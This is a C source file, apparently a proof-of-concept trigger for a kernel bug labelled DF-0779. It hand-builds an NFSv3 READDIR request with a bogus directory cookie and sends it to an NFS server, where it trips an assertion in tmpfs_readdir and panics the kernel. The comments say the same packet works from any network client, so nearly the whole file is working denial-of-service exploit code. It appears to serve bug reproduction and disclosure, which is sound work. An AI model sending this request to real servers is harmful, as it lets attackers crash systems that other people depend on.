DF-0779 / df0779_trigger.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 | /* * DF-0779 trigger (root, demonstration harness). * * This stands in for a malicious NFS client. The realistic threat model: * an admin runs the NFS server exporting a tmpfs directory; ANY NFS client * (local over localhost, or remote over the network) that issues a READDIR * with a cookie value that does not map to a real tmpfs dirent drives the * server's VOP_READDIR(vp, &io, ..., &ncookies, &cookies) (nfs_serv.c:3045) * into tmpfs_readdir's cookie-generation block * (tmpfs_vnops.c:1697-1731). The first iteration does * tmpfs_dir_lookupbycookie(node, off, exact=1) which returns NULL for a * bogus cookie -> KKASSERT(de != NULL) at tmpfs_vnops.c:1719 -> panic. * * We obtain the directory's filehandle via getfh(2) (root; this is the fh a * real MOUNT RPC would hand a legitimate client) and then fire a hand-rolled * NFSv3 READDIR3 RPC over UDP at the local nfsd (127.0.0.1:2049) carrying a * bogus cookie. The packet content is exactly what a network attacker would * send; we just avoid fighting mountd's auth policy for the demonstration. * * Run as root: ./df0779_trigger /tmp/df0779_export [bogus_cookie_hex] * If the kernel panics, this process never sees a reply (RCVTIMEO) and the * guest dies -- the panic is captured in the serial boot.log. */ #include <sys/param.h> #include <sys/types.h> #include <sys/mount.h> #include <sys/socket.h> #include <netinet/in.h> #include <arpa/inet.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <stdint.h> #include <errno.h> #define NFS_PROG 100003 #define NFS_VERS 3 #define NFSPROC_READDIR 16 static uint32_t g_xid = 0xfeed0001; static void put32(uint8_t **p, uint32_t v){ v=htonl(v); memcpy(*p,&v,4); *p+=4; } static size_t make_auth_unix(uint8_t *body){ uint8_t *b=body; put32(&b,0x12345678); const char *mach="dfbsd"; size_t mlen=strlen(mach),pad=(mlen+3)&~3u; put32(&b,(uint32_t)mlen); memcpy(b,mach,mlen); b+=mlen; if(pad>mlen){memset(b,0,pad-mlen);b+=pad-mlen;} put32(&b,0); put32(&b,0); put32(&b,0); return (size_t)(b-body); } static int build_call(uint8_t *buf,uint32_t xid,uint32_t prog,uint32_t vers, uint32_t proc,const uint8_t *args,size_t alen){ uint8_t *start=buf; put32(&buf,xid); put32(&buf,0); put32(&buf,2); put32(&buf,prog); put32(&buf,vers); put32(&buf,proc); uint8_t authbuf[256]; size_t authlen=make_auth_unix(authbuf); put32(&buf,1); put32(&buf,(uint32_t)authlen); memcpy(buf,authbuf,authlen); buf+=authlen; put32(&buf,0); put32(&buf,0); if(alen){memcpy(buf,args,alen); buf+=alen;} return (int)(buf-start); } int main(int argc,char **argv){ const char *path = argc>1 ? argv[1] : "/tmp/df0779_export"; uint64_t bogus = argc>2 ? strtoull(argv[2],NULL,0) : 0xDEAD; fhandle_t fh; memset(&fh,0,sizeof fh); if (getfh(path,&fh) != 0){ fprintf(stderr,"getfh(%s): %s\n", path, strerror(errno)); return 2; } printf("getfh(%s) ok, fh bytes (%zu): ", path, sizeof fh); size_t i; for(i=0;i<sizeof fh;i++) printf("%02x", ((uint8_t*)&fh)[i]); printf("\n"); /* READDIR3 args: fhandle3 (opaque<>), cookie3(u64), cookieverf3(opaque<8>), count3(u32) */ uint32_t fhlen = (uint32_t)sizeof fh; uint32_t fhpadded = (fhlen+3)&~3u; uint8_t args[256], *a=args; put32(&a,fhlen); memcpy(a,&fh,fhlen); a+=fhlen; if(fhpadded>fhlen){memset(a,0,fhpadded-fhlen); a+=fhpadded-fhlen;} put32(&a,(uint32_t)(bogus>>32)); put32(&a,(uint32_t)(bogus & 0xffffffffu)); /* cookieverf3: NFSv3 FIXED opaque[NFS3_COOKIEVERFSIZE=8] -- 8 RAW bytes, * NO length prefix (unlike variable opaque<>). */ memset(a,0,8); a+=8; put32(&a,8192); /* count */ int alen=(int)(a-args); uint8_t req[512], reply[65536]; int rl=build_call(req,g_xid++,NFS_PROG,NFS_VERS,NFSPROC_READDIR,args,alen); struct sockaddr_in sin; memset(&sin,0,sizeof sin); sin.sin_family=AF_INET; sin.sin_port=htons(2049); sin.sin_addr.s_addr=inet_addr("127.0.0.1"); int s=socket(AF_INET,SOCK_DGRAM,0); struct timeval tv={.tv_sec=6}; setsockopt(s,SOL_SOCKET,SO_RCVTIMEO,&tv,sizeof tv); if(connect(s,(struct sockaddr*)&sin,sizeof sin)<0){perror("connect");return 3;} printf("READDIR3: fh + bogus cookie=0x%016llx -- sending to nfsd:2049 ...\n", (unsigned long long)bogus); if(send(s,req,rl,0)!=rl){perror("send");return 3;} int n=recv(s,reply,sizeof reply,0); printf("READDIR3 reply: %d bytes, errno=%d (%s)\n", n, errno, strerror(errno)); printf("(a reply here = no panic; no reply / timeout = guest likely PANICKED)\n"); close(s); return 0; } |